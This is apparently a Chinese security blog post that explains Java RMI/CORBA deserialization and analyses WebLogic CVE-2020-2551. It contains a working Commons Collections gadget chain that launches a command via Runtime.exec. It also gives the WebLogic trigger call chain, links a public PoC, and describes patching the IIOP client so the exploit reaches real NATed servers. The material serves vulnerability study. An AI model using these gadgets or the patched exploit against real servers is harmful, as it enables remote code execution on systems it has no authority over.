最近遇到的实际环境为weblogic,所以这里顺便总结下测2020-2551的一些相关的点
2551也是学习了很多优秀的师傅文章,非常感谢
0X00 漏洞利用基础学习
从0开始学习复现这个洞不免又会设计到Java反序列化漏洞中那些老生常谈的名词理解,涉及到Java反序列化中的一些协议、行为、结构,但个人文中偏向于结果导向,对于涉及的上述名词解释不会过多官方解释,
直接说上自己认为最简单的理解,如有偏差望师傅们谅解。
COBAR
(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,名字很长,定义的一个结构(规定语言在使用这个结构时候分哪几个部分,因为我们后面的序列化过程都是按照这个结构来的)
这个结构当然是抽象的,后面在具体代码实现上才会呈现这个结构部分,所以这里理解三个部分互相大致的关系就好。
CORBA结构分为三部分:
- naming service
- client side
- servant side
三个部分之间的关系就好比人看书,naming service担任着书中目录的角色,人(client side)从目录(naming service)中找具体内容(servant side)。
stub(存根)和skeleton(骨架)
简单三个部分说了,但是实际这个结构中稍微复杂一些,client和servant之间的交流还必须引入一个stub(存根)和skeleton(骨架)
简单理解就是client和servant之间多了两个人替他们传话,stub给client传话,skeleton给servant传话,说白了也就是充当client和servant的"网关路由"的一个功能。
具体存根和骨架干了啥,师傅可以去看下RMI通信过程原理。
GIOP && IIOP
全称通用对象请求协议,试想一个下客户端和服务端之间交流肯定要遵循某种协议的,这里GIOP就是CORBA中通信过程遵循的协议而在TCP/IP这层用到的协议,就是我们2551中的IIOP协议
JNDI
JNDI (Java Naming and Directory Interface) 全称是java名词目录接口,其实可以发现这里JNDI就是前面CORBA体系中那个naming service的角色,在Java中它有着
Naming Service和Directory Service 的功能,说白了就是给servant那边在目录中注册绑定,给client那边在目录中查询内容。
LDAP
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,这个在后面测试中也常会看到LDAP服务和RMI服务起的接收端,
LDAP主要充当目录服务的协议,用来保存一些属性信息的,但要和RMI区别开来,LDAP是用于对一个存在的目录数据库进行访问,而RMI提供访问远程对象和调用
RMI
Remote Method Invocation,全程远程调用,如果了解RPC服务的功能朋友一定不难理解,就是Java中的一个RPC服务实现,底层的协议是JRMP协议,
功能也好理解,让你可以远程调用对象就像在本地调用一样,你可以参照点外卖,把外卖(对象)叫到你家里(本地客户)使用。
JRMP
Java远程方法协议(英语:Java Remote Method Protocol,JRMP) Java远程方法协议 JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。
RMI反序列化原理:
- RMI即Java RMI(Java Remote Method Invocation),Java远程方法调用,说白了就是实现让你可以远程调用服务器上对象的一种接口。(例如不同JVM虚拟机之间的Java对象相互调用)。
- 客户端和服务端在调用对象时候互相都有个代理,客户端的代理叫Stub(存根),服务端的代理叫Skeleton(骨架),代理都是从服务端产生的。
- 在RMI中客户端和服务端通过代理传入远程对象时候客户端负责编码,服务器负责解码,而这个过程中我们的对象是 使用序列化进行编码的。
在RMI模式(或行为)中,说简单点我们只需要关注三个部分
- 客户端(使用远程对象)
- 服务端(提供远程对象给客户端使用
- Registry(用来提供注册对象的地方)
下面的RMI简单Demo中也可以比较简易体现出三者之间的关系和功能的分工。
RMI简单Demo(以客户端调用服务端远程对象为例子):
在RMI模式中,我们除了需要客户端和服务端两个类,还需要在服务端中创建注册表(Registry)并绑定实现远程接口的对象,所以我们一共要写四个部分代码,
- 客户端的类
- 服务端的类
- 继承Remote的接口
- 以及对实现远程接口的具体类
(虽然下面是将这些内容分为四个代码部分,但是实际上服务站点是拥有服务端类、继承Remote接口以及实现远程接口具体类这三个部分的,我们只有一个客户端类。)
定义远程接口
这里使用到了java.rmi,其中定义了客户端所需要的类、接口、异常,实现rmi的远程对象必须继承Remote接口,并且接口中的方法必须抛出RemoteException:
import java.rmi.Remote; import java.rmi.RemoteException; public interface InterfaceQing extends Remote{ // 所有方法必须抛出RemoteException public String RmiDemo() throws RemoteException; }
接口实现类
以及对于上面InterfaceQing这个远程接口的实现类:
这里单独说一下
继承UnicastRemoteObject类的对象叫做远程对象,lookup出来的对象只是该远程对象的存根(Stub)对象,客户端每一次的方法调用都是调用的的那一个远程对象的方法
没有继承UnicastRemoteObject类的对象,同样可以bind到Registry,lookup出来了对象也是远程对象,但在经过序列化、客户端反序列化出来的新的对象后调用这个对象的方法调用与远程对象再无关系
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import Remote.InterfaceQing; public class RemoteQing extends UnicastRemoteObject implements InterfaceQing { protected RemoteQing() throws RemoteException{ super(); } @Override public String RmiDemo() throws RemoteException { System.out.println("RmiDemo.."); return "Here is RmiDemo"; } }
服务端类
这里需要注册远程对象,用到java.rmi.registry中的供注册创建的类,注册远程对象,向客户端提供远程对象服务。客户端就可以通过RMI Registry请求到该远程服务对象的stub,
在服务端类中我们实例化了实现远程接口的类并创建了Registry注册类,使用Registry类的bind函数将远程接口的实现对象绑定到注册表,取名为remoteQing,这里服务会监听默认1099端口。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; import Remote.InterfaceQing; public class ServerDemo { public static void main(String[] args) { try { InterfaceQing remoteQing = new RemoteQing(); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("Test", remoteQing); System.out.println("Server is ok"); //UnicastRemoteObject.unexportObject(remoteMath, false); 设置对象不可被调用
//当然也可以通过java.rmi.Naming以键值对的形式来将服务命名进行绑定
} catch (Exception e) { e.printStackTrace(); } } }
客户端
通过Registry类的代理去查询远程注册的对象,获得绑定的对象并调用该对象的方法,例子中为注册表中绑定名为Test的对象(RemoteQing):
import Remote.InterfaceQing; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ClientDemo { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry("localhost"); // 从Registry中检索远程对象的存根/代理 InterfaceQing remoteQing = (InterfaceQing)registry.lookup("Test"); String returnStr = remoteQing.RmiDemo(); System.out.println(returnStr); }catch(Exception e) { e.printStackTrace(); } } }
注:java1.4之前需要rmic命令生成我们远程对象实现类的Stub,也就是上面的RemoteQing
RMI中调用过程:
这里简单走一下过程,贴下比较需要关注的地方。
首先是服务端:
服务端中createRegistry(1099);的时候,返回的registry对象类是sun.rmi.registry.RegistryImpl
RegistryImpl中会设置接口实现类的ref变量,类型为sun.rmi.server.UnicastServerRef,其中含有LiveRef类型的对象变量ref与TCPEndpoint的ep变量
接下来服务端getRegistry返回的是sun.rmi.registry.RegistryImpl_Stub,也就是前面大致流程中的stub
服务端bind的时候,会进入序列化操作
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException { try { RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L); try { ObjectOutput var4 = var3.getOutputStream(); var4.writeObject(var1); var4.writeObject(var2); } catch (IOException var5) { throw new MarshalException("error marshalling arguments", var5); } this.ref.invoke(var3); this.ref.done(var3); } catch (RuntimeException var6) { throw var6; } catch (RemoteException var7) { throw var7; } catch (AlreadyBoundException var8) { throw var8; } catch (Exception var9) { throw new UnexpectedException("undeclared checked exception", var9); } }
客户端这边
可以看到getRegistry的时候和服务端一样动态生成sun.rmi.registry.RegistryImpl_Stub
lookup的时候就会从RMI Registry获取到服务端存进去的stub。
在sun.rmi.registry.RegistryImpl_Stub类中实现用将Remote对象序列化传递给RemoteRef引用并且创建了RemoteCall(远程调用)对象
RemoteCall对象则是用来序列化我们传递的服务名和Remote对象并最后通过socket通信:
RMI反序列化漏洞攻击原理
RMI攻击本质是简单点说是客户端和服务端会互相将传递的数据进行正反序列化,在这个过程中参数的序列化被替换成恶意序列化数据就即可以攻击服务端也可以攻击客户端。我们下断点来查看:
要进jdk源码调试前设置一下:
首先是bind的时候会在sun.rmi\registry.RegistryImpl_Stub#bind对数据进行序列化:
处理数据的时候会在sun.rmi.registry.RegistryImpl_Skel#
dispatch进行反序列化读取
调用栈:
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:411, UnicastServerRef (sun.rmi.server) dispatch:272, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1831737466 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
那我们再来看客户端进行调用对象的时候:
在sun.rmi.registry.RegistryImpl_Stub#lookup
其中在var3.writeObject(var1)
对var1对象进行了序列化操作,在var23 = (Remote)var6.readObject()对服务端返回的数据的对象进行反序列化
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments", var18); } super.ref.invoke(var2); Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { ....
攻击就需要利用客户端服务端都存在某一缺陷库来构造gadgets
本身缺陷原因各位可以去看下CVE-2017-3241
https://packetstormsecurity.com/files/download/141104/cve-2017-3241.pdf
RMI反序列化漏洞攻击Demo
(apache Common Collection 3)
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
来看下大致利用原理:
这里利用到的函数是org.apache.commons.collections.functors.InvokerTransformer#transform
通过反射执行参数对象中的某个方法
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } }
其中transform用到的属性来自构造函数,分别对应方法名、参数类型、参数值。
private InvokerTransformer(String methodName) { this.iMethodName = methodName; this.iParamTypes = null; this.iArgs = null; }
而InvokerTransformer中返回实例化的函数如下:
public static Transformer getInstance(String methodName) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } else { return new InvokerTransformer(methodName); } } public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) { throw new IllegalArgumentException("The parameter types must match the arguments"); } else if (paramTypes != null && paramTypes.length != 0) { paramTypes = (Class[])((Class[])paramTypes.clone()); args = (Object[])((Object[])args.clone()); return new InvokerTransformer(methodName, paramTypes, args); } else { return new InvokerTransformer(methodName); } }
而InvokerTransformer的transform方法被谁谁调用呢,在同包下的org.apache.commons.collections.functors.ChainedTransformer可以对
Transformer数组进行组合。
只需要 Transformer chain = new ChainedTransformer(transformers) ; 即可组合,
在org.apache.commons.collections.map.TransformedMap中checkSetValue函数调用了transform方法
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
而在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator的setValue会调用父类的checkSetValue
public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); } }
并且TansformedMap里用装饰者模式通过transformer来扩展功能
TransformedMap实现了Serializable接口可以被序列化操作 ,其中结构里也包含了map
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
...
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
this.map = (Map)in.readObject();
}
所以到这里可以理一下利用链接
TransformedMap添加一个装饰ChainedTransformer,ChainedTransformer将多个InvokerTransformer组合,InvokerTransformer来反射执行其他函数(RCE)
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.Map; import java.util.HashMap; public class TransformVul { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers) ; Map innerMap = new HashMap() ; innerMap.put("name", "hello") ; Map outerMap = TransformedMap.decorate(innerMap, null, chain) ; Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ; elEntry.setValue("hello") ; } }
ysoserial中也是一样的利用方式:
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload
这里注意jdk版本为1.7
0x01 CVE-2020-2551
漏洞断点调试环境配置
远程调试端口设置:
qing@ubuntu:~/vulhub/weblogic/CVE-2017-10271$ cat docker-compose.yml version: '2' services: weblogic: image: vulhub/weblogic ports: - "7001:7001" - "8453:8453"
修改配置文件加入远程调试:
在idea中添加目录中所需要的jar包:
for /R %%d in (*.jar) do (echo moving %%d move /y %%d ./test )
idea远程配置:
审计调试
有的师傅已经写了2551的文章,正向从传反序列化对象开始分析,我这里直接从漏洞触发点的函数倒推回去。
先贴
weblogic.corba.utils. ValueHandlerImpl的中调用了readObject进行反序列化
此处是在readValueData函数中,var2为ObjectStreamClass的形参
private static void readValueData(IIOPInputStream var0, Object var1, ObjectStreamClass var2) throws IOException, ClassNotFoundException { if (var2.getSuperclass() != null) { .... ObjectInputStream var6 = var0.getObjectInputStream(var1, var2, var3, var4); var2.readObject(var1, var6); var6.close(); if (var5) { var0.end_value(); }
而readValueData函数在同文件的readValue函数中被调用,var2为传入readValueData函数的Object形参
在weblogic.iiop.IIOPInputStream.class的read_value函数也就是1728行调用了readValue函数,上面的readValue函数的var2为这里read_value函数
的var13
public Serializable read_value(Class var1) { Class var2 = var1; boolean var3 = false; ... ... try { ObjectStreamClass var14 = ObjectStreamClass.lookup(var2); var13 = (Serializable)ValueHandlerImpl.allocateValue(this, var14); this.indirections.putReserved(var5, var18, var13); Serializable var15 = (Serializable)ValueHandlerImpl.readValue(this, var14, var13); if (var15 != var13) { var13 = var15; this.indirections.putReserved(var5, var18, var15); } } catch (ClassNotFoundException var16) { .....
而weblogic.iiop.IIOPInputStream中的read_value在rmi-iiop流程中对接收的序列化对象进行反序列化的时候被调用,发现读取
输入流的方法被封装在iiopoutputstream中的read_any函数中
public final Any read_any() { return this.read_any(this.read_TypeCode()); } public final Any read_any(TypeCode var1) { Debug.assertion(var1 != null); AnyImpl var2 = new AnyImpl(); var2.type(var1); var2.read_value(this, var2.type()); return var2; }
这里在1416行调用的read_value函数,传入的反序列化内容为var2.type函数的返回值,var2为实例化AnyImpl实例调用其read_value读取序列化数据。1416行是处于有参的read_any,而有参的
read_any在1408的无参read_any中调用,这段我们只需要跟踪注意var2.type的返回值在调用链的最初我们是否可控以及this.read_TypeCode()非空。
发现read_any无参函数的调用是在_invoke函数中,而_invkoe函数被调用于weblogic.corba.idl.CorbaServerRef.class中的invoke函数
public void invoke(RuntimeMethodDescriptor var1, InboundRequest var2, OutboundResponse var3) throws Exception { try { weblogic.iiop.InboundRequest var4 = (weblogic.iiop.InboundRequest)var2; if (!var4.isCollocated() && var4.getEndPoint().isDead()) { throw new ConnectException("Connection is already shutdown for " + var2); } else { Integer var5 = (Integer)objectMethods.get(var4.getMethod()); ResponseHandler var6; if (var3 == null) { var6 = NULL_RESPONSE; } else { var6 = ((weblogic.iiop.OutboundResponse)var3).createResponseHandler(var4); } if (var5 != null) { this.invokeObjectMethod(var5, var4.getInputStream(), var6); } else { this.delegate._invoke(var4.getMethod(), var4.getInputStream(), var6); } if (var3 != null) { var3.transferThreadLocalContext(var2); } } } catch (ClassCastException var7) { throw new NoSuchObjectException("CORBA ties are only supported with IIOP"); } }
weblogic.corba.idl.CorbaServerRef.class中的invoke函数在weblogic.rmi.internal.BasicServerRef.的runAs被调用
最后可以跟到weblogic解析请求的入口
调用链:
lookup:417, InitialContext (javax.naming) doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi) execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi) lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi) lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi) lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta) initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta) readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta) invoke:-1, GeneratedMethodAccessor30 (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) readObject:315, ObjectStreamClass (weblogic.utils.io) readValueData:281, ValueHandlerImpl (weblogic.corba.utils) readValue:93, ValueHandlerImpl (weblogic.corba.utils) read_value:2128, IIOPInputStream (weblogic.iiop) read_value:1936, IIOPInputStream (weblogic.iiop) read_value_internal:220, AnyImpl (weblogic.corba.idl) read_value:115, AnyImpl (weblogic.corba.idl) read_any:1648, IIOPInputStream (weblogic.iiop) read_any:1641, IIOPInputStream (weblogic.iiop) _invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming) invoke:249, CorbaServerRef (weblogic.corba.idl) invoke:230, ClusterableServerRef (weblogic.rmi.cluster) run:522, BasicServerRef$1 (weblogic.rmi.internal) doAs:363, AuthenticatedSubject (weblogic.security.acl.internal) runAs:146, SecurityManager (weblogic.security.service) handleRequest:518, BasicServerRef (weblogic.rmi.internal) run:118, WLSExecuteRequest (weblogic.rmi.internal.wls) execute:263, ExecuteThread (weblogic.work) run:221, ExecuteThread (weblogic.work)
附上y4师傅的poc:https://github.com/Y4er/CVE-2020-2551
编译好的exp字节码文件放marshalsec的RMI服务下,执行成功。
测试实际站点的时候发现是失败,还需要解决的一个问题是CVE-2020-2551的"网络"问题
CVE-2020-2551的网络问题
实际情况大多数weblogic是内网反带出来的,所以在返回NameService指定bind地址的时都是内网地址,导致访问失败。
解决方法为自定义GIOP协议和重写IIOP协议
个人在实际测试的时候选择后者
重写IIOP协议解决:
定位返回地址位置hackworld老哥写的已经非常清楚了:
https://xz.aliyun.com/t/7498
最后需要改的位置
CVE-2020-2551\src\lib\wlfullclient.jar!\weblogic\iiop\IOPProfile.class
这里对于class文件在改的时候将idea对于class文件读出来的代码复制一份,改好保存成java文件后重新编译,复制到包里覆盖即可。
编译:
实际站点测试:
资料:
https://github.com/Y4er/CVE-2020-2551
https://xz.aliyun.com/t/7498 手把手教你解决Weblogic CVE-2020-2551 POC网络问题
https://xz.aliyun.com/t/7374 漫谈 WebLogic CVE-2020-2551
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java
https://packetstormsecurity.com/files/download/141104/cve-2017-3241.pdf CVE-2017-3241